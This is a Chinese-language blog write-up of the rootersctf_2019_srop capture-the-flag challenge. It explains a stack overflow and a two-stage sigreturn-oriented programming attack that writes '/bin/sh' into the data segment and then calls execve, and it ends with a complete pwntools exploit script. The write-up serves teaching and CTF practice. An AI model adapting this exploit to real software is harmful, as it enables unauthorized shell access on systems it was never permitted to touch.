rootersctf_2019_srop
rootersctf_2019_srop
总结
根据本题,学习与收获有:
srop用于溢出空间比较大的场景,需要注意:如果将frame的rip设置为syscall;ret,那么rsp指向地址,就是即将下一个栈帧的栈顶。程序会取rsp指向的地址或指令继续执行leave;ret指令的本质是mov rbp rsp;pop rbp;pop ripsrop可以构造多个帧,特别是程序缺乏/bin/sh的时候,第1帧先想办法写/bin/sh\x00,然后第2帧执行execve
题目分析
checksec

本题的环境为ubuntu 18
函数分析
连main函数都没有,先看start函数吧
start

流程很简单:call 0x401000,然后调用exit退出。
sub_0x401000

纯汇编代码,流程是:
write(1, buf,0x2a)read(0, rsp-0x40, 0x400)
漏洞点
题目名叫srop,那肯定是使用srop来做题。溢出点也相当明显,0x400足够构造两个srop的帧了。
利用思路
知识点
主要利用srop,参考SROP - CTF Wiki (ctf-wiki.org),细节就不多讲了。需要注意rip和rsp。一般来说,rip会写成syscall的地址。
利用过程
主要注意两点:1)本题可利用的gadget不多,并且只有syscall;leave;ret,所以需要注意,这里不需要修改rsp,而是rbp。2)程序中没有/bin/sh,但是有data段,所以需要往data段上写/bin/sh。因此,连续利用两次srop是个不错的方案。
步骤:
- 首先利用栈溢出,执行
read的系统调用,往0x402000上写/bin/sh和第二帧,同时控制rbp,指向让第二帧的signal frame。第二帧就布置在已知地址的data段上。 - 让第二帧
signal frame写入execve,获取shell
EXP
调试过程
-
写入第一帧
signal framedata_addr = 0x402000 syscall_leave_ret = 0x401033 pop_rax_syscall_leave_ret = 0x401032 syscall_addr = 0x401046 frame = SigreturnFrame(kernel="amd64") frame.rax = 0 # read frame.rdi = 0 # stdin frame.rsi = data_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = data_addr + 0x20 layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)] # srop to call read, set *data_addr = /bin/sh\x00 sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))
-
写入第二帧
signal frame# call execve /bin/sh layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf] frame = SigreturnFrame(kernel="amd64") frame.rax = 59 # execve frame.rdi = data_addr # stdin frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr layout.append(bytes(frame)) sh.sendline(flat(layout)) sh.interactive()

最后打远程效果为:

完整exp
from pwn import *
sh = process("rootersctf_2019_srop")
context.update(arch="amd64", os="linux", endian="little")
# write /bin/sh on 0x402000
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
# srop to call read, set *data_addr = /bin/sh\x00
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))
# call execve /bin/sh
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
sh.sendline(flat(layout))
sh.interactive()
引用与参考
1、My Blog
2、Ctf Wiki
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14723605.html

浙公网安备 33010602011771号